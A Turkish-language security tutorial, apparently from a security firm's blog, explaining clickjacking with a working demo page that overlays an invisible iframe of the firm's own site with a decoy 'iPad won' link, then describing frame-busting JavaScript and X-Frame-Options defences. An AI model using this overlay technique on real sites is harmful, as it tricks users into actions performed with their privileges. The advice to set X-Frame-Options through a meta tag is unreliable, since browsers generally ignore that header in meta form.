Clickjacking (UI REDRESSING) Saldırıları

Clickjacking saldırıları, bir çok kişiye ilk bakışta önemsiz gibi gözükse de sosyal mühendislik yöntemleriyle birleştirildiğinde etkili bir yöntem olabilmektedir. Facebook ve Twitter gibi ünlü sosyal ağlar için görünen örnekleri, clickjacking’in öneminin/etkisini ispatlamıştır.

Clickjacking Nedir?

Clickjacking yönteminin altında yatan temel mantık, hedef sistemi görünmez(opacity değeri sıfır olan) bir iframe nesnesine yükleyip, yüklenen sayfada kurbanın tıklaması istenen linklerin üzerine ilgisini çekecek tuzak linkler(veya başka html nesneleri) ekleyerek kurbanın farkında olmadan iframe içindeki linkle tıklamasını sağlamak olarak söylenebilir. Linke kullanıcının tıklamasının getirisi, hedef sistemdeki işlemin kullanıcının yetkileriyle yapılacak olmasıdır.

Örnek Uygulama

Örnek olarak, tuzak sayfaya giren veya yönlendirilen bir kullanıcının “IPad Kazandınız!” linkine tıkladığını düşünürken bga.com.tr’deki hakkımızda linkine tıkladığı bir clickjacking sayfası hazırlanmıştır.

İlk adımda sadece bga.com.tr sayfasını iframe nesnesine yükleyen bir sayfa oluşturulur.

<html>
<head>
<meta charset=”utf-8″ />
<title> Tuzak Sayfa </title>
</head>
<body>
<iframe src=”http://www.bga.com.tr/”></iframe>
</body>
</html>

İkinci adımda body tagları arasına, içinde z-index değeri -1 olan “IPad Kazandınız!” linki bulunan bir div eklenir.

<div><a href=”#” target=”_blank” style=”position:relative;z-index:-1″>IPad Kazandınız!</a></div>

Son adımda iframein şeffaflık değeri ve divin pozisyonu ayarlanır. Bunun için şu css kullanılmıştır. (head tagları arasına eklenmiştir)

<style>
iframe {
   width:100%;
   height:100%;
   position:absolute;
   top:0; left:0;
   filter:alpha(opacity=0.0);
   opacity:0.0;
}

div {
   position:absolute;
   top:113px;
   right:240px;
}
</style>

Pozisyonu ayarlama aşamasında opacity değeri 0.5 gibi görülebilir bir değer yapılarak çalışılabilir.

Son hali

Önlemler

Clickjackinge karşı javascript kullanılarak geliştirilmiş önlemler olsa da bunlar genellikle atlatılabilmektedir. Bu yüzden en geçerli çözüm, http X-Frame-Options değerini “sameorigin” gibi sayfanın farklı bir sistemdeki iframede çalışmasını engelleyecek bir değer vermek olacaktır.

JS frame engelleme örneği(Atlatılabilir):
<script type=“text/javascript”>
if(top != window)
    top.location=window.location
</script>

X-Frame-Options
Head taglarının arasına
<meta http-equiv=”X-Frame-Options” content=”SAMEORIGIN”>
eklenerek aktif edilebilir.

Sadece aynı domaindeki framelere izin veren “SAMEORIGIN” değerine alternatif olarak sadece belli URI’daki framelere izin veren “ALLOW-FROM uri” veya hiçbir framee izin vermeyen “DENY” değerleri de duruma göre kullanılabilir.
Son olarak, büyük uygulamalarda her sayfa için meta tagını eklemek yerine web sunucusunu tüm sayfalar için X-Frame-Options değerini atayacak şekilde ayarlamak daha makul bir çözüm olabilir. 
Onur ALANBEL <onur.alanbel@bga.com.tr>